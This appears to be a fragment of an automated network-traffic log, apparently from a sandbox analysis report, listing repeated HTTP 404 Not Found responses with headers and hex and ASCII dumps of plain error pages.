<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Thu, 26 Sep 2024 13:22:57 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Thu, 26 Sep 2024 13:23:00 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Thu, 26 Sep 2024 13:23:02 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 26 Sep 2024 13:23:22 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 26 Sep 2024 13:23:25 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 26 Sep 2024 13:23:27 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 46 61 62 6c 65 73 20 49 63 6f 6e 73 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 63 73 73 2f 66 61 62 6c 65 73 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 26 Sep 2024 13:23:31 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 32106X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 20 20 3c 74 69 74 6c 65 3e 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 21 2d 2d 20 61 6e 69 6d 61 74 65 2e 63 73 73 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 61 6e 69 6d 61 74 65 2e 63 73 73 2d 6d 61 73 74 65 72 2f 61 6e 69 6d 61 74 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 4c 6f 61 64 20 53 63 72 65 65 6e 20 2d 2d 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 6c 6f 61 64 73 63 72 65 65 6e 2f 63 73 73 2f 73 70 69 6e 6b 69 74 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 4f 4f 47 4c 45 20 46 4f 4e 54 20 2d 2d 3e 